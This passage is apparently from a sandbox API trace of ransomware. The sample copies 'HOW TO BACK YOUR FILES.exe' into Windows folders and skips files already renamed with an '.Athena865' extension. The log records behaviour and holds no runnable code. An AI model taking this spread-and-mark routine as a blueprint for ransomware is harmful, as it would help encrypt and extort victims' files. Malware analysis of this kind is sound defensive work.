cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.901] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0102.901] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.901] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.901] lstrcpyW (in: lpString1=0x241e8ce, lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0102.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546688 [0102.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xea) returned 0x546ed8 [0102.901] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="\\" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0102.901] lstrcatW (in: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0102.902] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.902] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0102.902] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.902] ReleaseMutex (hMutex=0xec) returned 1 [0102.902] CloseHandle (hObject=0xec) returned 1 [0102.902] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu") returned="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu" [0102.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519668 | out: hHeap=0x4f0000) returned 1 [0102.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a598 | out: hHeap=0x4f0000) returned 1 [0102.902] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu") returned 63 [0102.902] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8708A2AFD379688C61E34E10474349E8") returned 0xec [0102.903] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.903] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu") returned="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu" [0102.903] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.903] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.903] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\start menu\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.903] GetLastError () returned 0x0 [0102.903] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.904] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.904] CloseHandle (hObject=0xf4) returned 1 [0102.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.904] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.904] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4c86a00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.905] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.905] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.905] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Default Programs.lnk.Athena865" | out: lpString1="Default Programs.lnk.Athena865") returned="Default Programs.lnk.Athena865" [0102.905] lstrlenW (lpString="Default Programs.lnk.Athena865") returned 30 [0102.905] lstrlenW (lpString="Athena865") returned 9 [0102.905] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.905] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0102.905] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.905] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.905] lstrcpyW (in: lpString1=0x241e8c8, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.905] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.905] lstrlenW (lpString="Athena865") returned 9 [0102.905] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.905] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.905] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.905] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe2f97aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2f97aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0102.905] lstrcmpiW (lpString1="Programs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.905] lstrcmpiW (lpString1="Programs", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.905] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Programs" | out: lpString1="Programs") returned="Programs" [0102.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a598 [0102.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x92) returned 0x53e120 [0102.905] lstrcatW (in: lpString1="Programs", lpString2="\\" | out: lpString1="Programs\\") returned="Programs\\" [0102.905] lstrcatW (in: lpString1="Programs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Programs\\HOW TO BACK YOUR FILES.exe") returned="Programs\\HOW TO BACK YOUR FILES.exe" [0102.906] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Start Menu\\Programs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\start menu\\programs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.906] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Update.lnk.Athena865", cAlternateFileName="WINDOW~1.ATH")) returned 1 [0102.906] lstrcmpiW (lpString1="Windows Update.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.906] lstrcmpiW (lpString1="Windows Update.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.906] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Windows Update.lnk.Athena865" | out: lpString1="Windows Update.lnk.Athena865") returned="Windows Update.lnk.Athena865" [0102.906] lstrlenW (lpString="Windows Update.lnk.Athena865") returned 28 [0102.906] lstrlenW (lpString="Athena865") returned 9 [0102.906] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.906] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0xc4c86a00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Update.lnk.Athena865", cAlternateFileName="WINDOW~1.ATH")) returned 0 [0102.906] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.906] ReleaseMutex (hMutex=0xec) returned 1 [0102.906] CloseHandle (hObject=0xec) returned 1 [0102.907] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Sun" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Sun") returned="C:\\Documents and Settings\\All Users\\Application Data\\Sun" [0102.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501a28 | out: hHeap=0x4f0000) returned 1 [0102.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a5b0 | out: hHeap=0x4f0000) returned 1 [0102.907] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Sun") returned 56 [0102.907] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B14E3C6F0BF81F398506C7DA5543DDBC") returned 0xec [0102.907] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.907] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Sun" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Sun") returned="C:\\Documents and Settings\\All Users\\Application Data\\Sun" [0102.907] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.907] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.907] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\sun\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.908] GetLastError () returned 0x0 [0102.908] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.908] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.908] CloseHandle (hObject=0xf4) returned 1 [0102.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.909] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.909] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Sun\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.909] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.909] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.909] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Java" | out: lpString1="Java") returned="Java" [0102.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a5b0 [0102.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519668 [0102.909] lstrcatW (in: lpString1="Java", lpString2="\\" | out: lpString1="Java\\") returned="Java\\" [0102.909] lstrcatW (in: lpString1="Java\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java\\HOW TO BACK YOUR FILES.exe") returned="Java\\HOW TO BACK YOUR FILES.exe" [0102.909] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.910] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc4cacb60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4cacb60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0102.910] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.910] ReleaseMutex (hMutex=0xec) returned 1 [0102.910] CloseHandle (hObject=0xec) returned 1 [0102.910] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Templates" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Templates") returned="C:\\Documents and Settings\\All Users\\Application Data\\Templates" [0102.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5196f0 | out: hHeap=0x4f0000) returned 1 [0102.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a5c8 | out: hHeap=0x4f0000) returned 1 [0102.910] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Templates") returned 62 [0102.910] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\80AC65A7B96985EE26C9BFE0AF9FE352") returned 0xec [0102.910] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.910] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Templates" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Templates") returned="C:\\Documents and Settings\\All Users\\Application Data\\Templates" [0102.910] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.910] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.911] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.911] GetLastError () returned 0x0 [0102.911] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.911] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.912] CloseHandle (hObject=0xf4) returned 1 [0102.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.912] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.912] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.912] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.912] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.912] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\All Users\\Documents\\My Music") returned="C:\\Documents and Settings\\All Users\\Documents\\My Music" [0102.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0102.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c638 | out: hHeap=0x4f0000) returned 1 [0102.913] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Documents\\My Music") returned 54 [0102.913] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EB1C1A9F0745DBEBDAAC4242E0A52B84") returned 0xec [0102.913] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.913] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Documents\\My Music" | out: lpString1="C:\\Documents and Settings\\All Users\\Documents\\My Music") returned="C:\\Documents and Settings\\All Users\\Documents\\My Music" [0102.913] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.913] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.913] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\my music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.914] GetLastError () returned 0x0 [0102.914] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.914] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.914] CloseHandle (hObject=0xf4) returned 1 [0102.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.915] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.915] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Documents\\My Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7ef5c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7ef5c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.915] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.915] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.915] lstrcpyW (in: lpString1=0x241e8b6, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.915] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.915] lstrlenW (lpString="Athena865") returned 9 [0102.915] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.915] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2d4540, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.915] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.915] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f1bd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f1bd80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0102.916] lstrcmpiW (lpString1="Sample Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.916] lstrcmpiW (lpString1="Sample Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.916] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Sample Music" | out: lpString1="Sample Music") returned="Sample Music" [0102.916] 